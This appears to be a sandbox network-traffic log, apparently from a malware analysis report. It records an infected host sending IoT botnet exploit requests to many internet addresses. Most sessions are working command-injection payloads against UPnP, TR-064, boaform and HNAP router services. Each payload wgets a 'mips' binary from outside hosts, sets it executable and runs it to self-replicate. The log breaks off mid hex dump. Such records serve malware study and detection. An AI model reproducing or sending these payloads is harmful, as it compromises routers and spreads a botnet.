6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:40.856661081 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
316	192.168.2.13	51420	147.192.6.14	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.708962917 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:52:40.981427908 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
317	192.168.2.13	51996	220.84.221.187	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.725925922 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
318	192.168.2.13	49816	14.54.98.210	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.738857031 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
319	192.168.2.13	43242	211.225.254.112	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.762748957 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
320	192.168.2.13	38160	164.250.228.64	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.862025023 CEST	918	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Apr 15, 2024 08:52:41.064358950 CEST	1288	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39 76 2b 63 2f 63 75 66 50 4d 76 50 50 4d 63 75 66 4f 4d 70 41 49 41 53 45 67 42 49 53 41 45 42 41 43 73 30 64 67 6d 64 6e 58 51 42 55 51 41 6b 4a 41 43 41 67 42 49 53 41 45 49 45 4a 58 4a 78 41 43 51 6b 41 49 43 41 45 68 73 41 41 49 69 4e 41 58 6f 42 46 56 42 53 45 67 42 49 53 41 45 42 41 43 49 6e 54 31 41 53 45 67 Data Ascii: <html><head><title>APPLICATION BLOCKED</title><style>#c{border:3px solid #aaa;background-color:#fff;margin:20;padding:20;font-family:Tahoma,Helvetica,Arial,sans-serif;font-size:12px;}h1,h2,h3,h4,h5,h6,h7,h8{font-weight:bold;}h2,h3{font-size:20px;}h1{text-align:center;font-size:22px;color:#cc0000;}h2{color:#330066;}h3{color:#666;}h4{font-size:16px;color:#666;}h5{margin:20;text-align:left;font-size:12px;color:#666;}h6{font-size:16px;color:#cc0000;}h7{font-size:14px;color:#330066;}h8{text-align:center;font-size:56px;color:#330066;font-weight:bold;text-decoration:underline;}b{font-size:16px;font-weight:bold;color:#cc0000;}</style></head><body bgcolor="#e7e8e9"><div id="c"><h1><img width="500" src="data:image/jpeg;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAABfCAYAAAAeejUTAAAWlUlEQVR4Xu1dCfS3xRR+EiHKkiIlaaOylEJKSegoW4h0OKXQkexLlpAttKGOIxWyZk9oQ2RrIUupJEJUotKiIiHOU++cM9/0LjN35t1+33PP+Z9v+c/cufPMvPPMcufOMpAIASEgBISAEBACs0dgmdnXQBUQAkJACAgBISAEIEJXJxACQkAICAEhsAAIiNAXoBFVBSEgBISAEBACInT1ASEg

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.13	56968	213.79.8.73	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.870320082 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
322	192.168.2.13	60138	213.6.45.237	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.884987116 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
323	192.168.2.13	43920	172.85.3.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:40.952733040 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
324	192.168.2.13	46326	186.152.208.111	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.015563011 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
325	192.168.2.13	43928	172.85.3.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.193322897 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
326	192.168.2.13	50880	172.65.169.111	8081

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:41.243916035 CEST	785	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/$(cd /tmp; busybox wget http://213.232.235.166/mips; chmod 777 mips; ./mips hnap.selfrep) Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 